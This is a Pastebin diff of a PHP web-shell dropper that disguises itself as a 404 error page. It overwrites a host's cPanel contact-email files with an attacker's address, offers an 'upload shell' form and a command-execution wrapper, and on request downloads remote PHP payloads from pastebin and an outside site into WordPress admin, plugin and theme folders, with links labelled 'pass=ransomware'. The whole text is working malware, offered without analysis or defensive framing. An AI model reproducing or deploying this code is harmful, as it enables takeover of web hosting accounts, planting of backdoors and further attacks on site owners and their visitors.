View difference between Paste ID: LMbHAbzU and W8DZfR7Q
SHOW: | | - or go back to the newest paste.
1
$azerty = $_SERVER["SERVER_NAME"];
2
$abcd = dirname($_SERVER["PHP_SELF"]);
3
$sexterss = $azerty.$abcd;
4
$azzouz = $_SERVER['HTTP_HOST'];
5-
echo'<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL files was not found on this server.</p><h2 hidden>dddddd@hotmail.com</h2>
5+
echo'<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL files was not found on this server.</p><h2 hidden>rotinabox@hotmail.com</h2>
6
<p>Additionally, a 404 error Not Found was encountered while trying to use an ErrorDocument to handle the request.</p>';
7
$filt = getcwd();
8
$fuck = explode("/",$filt);
9
$user = $fuck[2];
10
$email = "dexterkh1212x@gmail.com";
11
$wr = 'email:'.$email;
12
$f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w');
13
fwrite($f, $wr);fclose($f);$f = fopen('/home/'.$user.'/.contactinfo', 'w');fwrite($f, $wr); fclose($f);
14
if(isset($_GET['user'])){echo "<br><br><font color='red'>$user</font><br><br>";}
15
if(isset($_GET['kill'])){$a = basename($_SERVER['SCRIPT_NAME']);echo "<br><font color='blue'>GIF89a</font>";unlink($a);}
16
if(isset($_GET['upload'])){
17
echo "<center><br><input onclick="."location.href='?kill';"." type='button' value='Supprimer'><br><br><br>";
18
$nemoshell = $_FILES['file']['name'];$nemohero  = $_FILES['file']['tmp_name'];
19
echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload shell' /></form>"; 
20
move_uploaded_file($nemohero,$nemoshell);echo" <a href='$nemoshell' target='_blank'>$nemoshell</a></center>";
21
}
22
function exe($cmd) {
23
	if(function_exists("system")) { 		
24
		@ob_start(); 		
25
		@system($cmd); 		
26
		$buff = @ob_get_contents(); 		
27
		@ob_end_clean(); 		
28
		return $buff; 	
29
	} elseif(function_exists("exec")) { 		
30
		@exec($cmd,$results); 		
31
		$buff = ""; 		
32
		foreach($results as $result) { 			
33
			$buff .= $result; 		
34
		} return $buff; 	
35
	} elseif(function_exists("passthru")) { 		
36
		@ob_start(); 		
37
		@passthru($cmd); 		
38
		$buff = @ob_get_contents(); 		
39
		@ob_end_clean(); 		
40
		return $buff; 	
41
	} elseif(function_exists("shell_exec")) { 		
42
		$buff = @shell_exec($cmd); 		
43
		return $buff; 	
44
	} 
45
}
46
$input = array('leopard','lion','male','cock','drake','penguin','quail','rat','serval','swan','bear','baboon','alpaca','zebra','yak','wolf','turkey','toad','baby','calf','cria','chick','fawn','pup','kit','nymph','swarm');
47
$rand_keys = array_rand($input, 2);
48
$random = $input[$rand_keys[0]];
49
$leaf = $random;
50
$system = $random;
51
$tacos = $random;
52
echo "<center>";
53
if(isset($_GET['get'])){
54
$output = 'https://pastebin.com/raw/wL527WWg'; 
55
$st = curl_init();
56
curl_setopt($st,CURLOPT_URL,$output);
57
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
58
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
59
$html = curl_exec($st); 
60
curl_close($st);
61
$a1=fopen('output.php','w');
62
fwrite($a1,$html);
63
$authorze = 'https://pastebin.com/raw/nxJA9qiA'; 
64
$st = curl_init();
65
curl_setopt($st,CURLOPT_URL,$authorze);
66
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
67
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
68
$html = curl_exec($st); 
69
curl_close($st);
70
$a2=fopen('authorze.php','w');
71
fwrite($a2,$html);
72
$views = 'https://pastebin.com/raw/jWBjgLd2'; 
73
$st = curl_init();
74
curl_setopt($st,CURLOPT_URL,$views);
75
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
76
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
77
$html = curl_exec($st); 
78
curl_close($st);
79
$a3=fopen('views.php','w');
80
fwrite($a3,$html);
81
echo "<a href="."http://$sexterss/authorze.php"." target="."_blank".">$sexterss/authorze.php"."</a><br>";
82
echo "<a href="."http://$sexterss/views.php?pass=ransomware"." target="."_blank".">$sexterss/views.php?pass=ransomware"."</a><br>";
83
echo "<a href="."http://$sexterss/output.php"." target="."_blank".">$sexterss/output.php"."</a><br>";
84
}	
85
$sss=array('./','../','../../','../../../','../../../../','../../../../../','../../../../../../');
86
foreach($sss as $pa){
87
if(isset($_GET['mailer'])){	
88
$p1=array("$pa/wp-admin/user/");
89
foreach($p1 as $path){	
90
if (file_exists("$path")){
91
$print = $path.$leaf.rand(999, 123).".php";
92
$url = 'https://pastebin.com/raw/jWBjgLd2'; 
93
$st = curl_init();
94
curl_setopt($st,CURLOPT_URL,$url);
95
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
96
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
97
$html = curl_exec($st); 
98
curl_close($st);
99
$save=fopen($print,'w');
100
fwrite($save,$html);
101
$print = "__$print";
102
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
103
echo "<a href="."http://$azzouz/$print?pass=ransomware"." target="."_blank".">$azzouz/$print"."</a><br>";
104
break;
105
}
106
$p2=array("$pa/wp-content/plugins/");
107
foreach($p2 as $path){
108
if (file_exists("$path")){
109
$print = $path.$leaf.rand(999, 123).".php";
110
$url = 'https://pastebin.com/raw/jWBjgLd2'; 
111
$st = curl_init();
112
curl_setopt($st,CURLOPT_URL,$url);
113
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
114
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
115
$html = curl_exec($st); 
116
curl_close($st);
117
$save=fopen($print,'w');
118
fwrite($save,$html);	
119
$print = "__$print";
120
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
121
echo "<a href="."http://$azzouz/$print?pass=ransomware"." target="."_blank".">$azzouz/$print"."</a><br>";
122
}}
123
}}
124
//////
125
if(isset($_GET['shell1'])){
126
$p3=array("$pa/wp-admin/network/");
127
foreach($p3 as $path){	
128
if (file_exists("$path")){
129
$print = $path.$system.rand(999, 123).".php";
130
$url = 'https://pastebin.com/raw/nxJA9qiA'; 
131
$st = curl_init();
132
curl_setopt($st,CURLOPT_URL,$url);
133
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
134
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
135
$html = curl_exec($st); 
136
curl_close($st);
137
$save=fopen($print,'w');
138
fwrite($save,$html);	
139
$print = "__$print";
140
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
141
echo "<a href="."http://$azzouz/$print"." target="."_blank".">$azzouz/$print"."</a><br>";
142
break;
143
}
144
$p4=array("$pa/wp-content/languages/");
145
foreach($p4 as $path){
146
if (file_exists("$path")){
147
$print = $path.$system.rand(999, 123).".php";
148
$url = 'https://pastebin.com/raw/nxJA9qiA'; 
149
$st = curl_init();
150
curl_setopt($st,CURLOPT_URL,$url);
151
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
152
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
153
$html = curl_exec($st); 
154
curl_close($st);
155
$save=fopen($print,'w');
156
fwrite($save,$html);	
157
$print = "__$print";
158
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
159
echo "<a href="."http://$azzouz/$print"." target="."_blank".">$azzouz/$print"."</a><br>";
160
}}
161
}}
162
//////
163
$p5=array("$pa/wp-content/themes/"); 
164
if(isset($_GET['shell2'])){
165
foreach($p5 as $path){	
166
if (file_exists("$path")){
167
$print = $path.$tacos.rand(999, 123).".php";
168
$url = 'https://pastebin.com/raw/wL527WWg'; 
169
$st = curl_init();
170
curl_setopt($st,CURLOPT_URL,$url);
171
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
172
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
173
$html = curl_exec($st); 
174
curl_close($st);
175
$save=fopen($print,'w');
176
fwrite($save,$html);	
177
$print = "__$print";
178
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
179
echo "<a href="."http://$azzouz/$print"." target="."_blank".">$azzouz/$print"."</a><br>";
180
break;
181
}
182
$p6=array("$pa/wp-admin/"); 
183
foreach($p6 as $path){
184
if (file_exists("$path")){
185
$print = $path.$tacos.rand(999, 123).".php";
186
$url = 'https://pastebin.com/raw/wL527WWg'; 
187
$st = curl_init();
188
curl_setopt($st,CURLOPT_URL,$url);
189
curl_setopt($st,CURLOPT_RETURNTRANSFER,1);
190
curl_setopt($st,CURLOPT_FOLLOWLOCATION, 1);
191
$html = curl_exec($st); 
192
curl_close($st);
193
$save=fopen($print,'w');
194
fwrite($save,$html);
195
$print = "__$print";
196
$print=str_replace(array("///","//","...","..","__...","__..","__.","__///","__//","__/"), "",$print);
197
echo "<a href="."http://$azzouz/$print"." target="."_blank".">$azzouz/$print"."</a><br>";
198
}}
199
}
200
}
201
}
202
if(isset($_GET['unzip'])){
203
exe("wget http://batut.com.ua/misc/farbtastic/ms-authorze.zip");
204
exe("unzip ms-authorze.zip");
205
echo "<a href="."http://$sexterss/wp-authorze.php"." target="."_blank".">$sexterss/wp-authorze.php"."</a><br>";
206
echo "<a href="."http://$sexterss/wp-views.php?pass=ransomware"." target="."_blank".">$sexterss/wp-views.php?pass=ransomware"."</a><br>";
207
echo "<a href="."http://$sexterss/wp-output.php"." target="."_blank".">$sexterss/wp-output.php"."</a><br>";
208
unlink("ms-authorze.zip");
209
echo "</center>";
210
}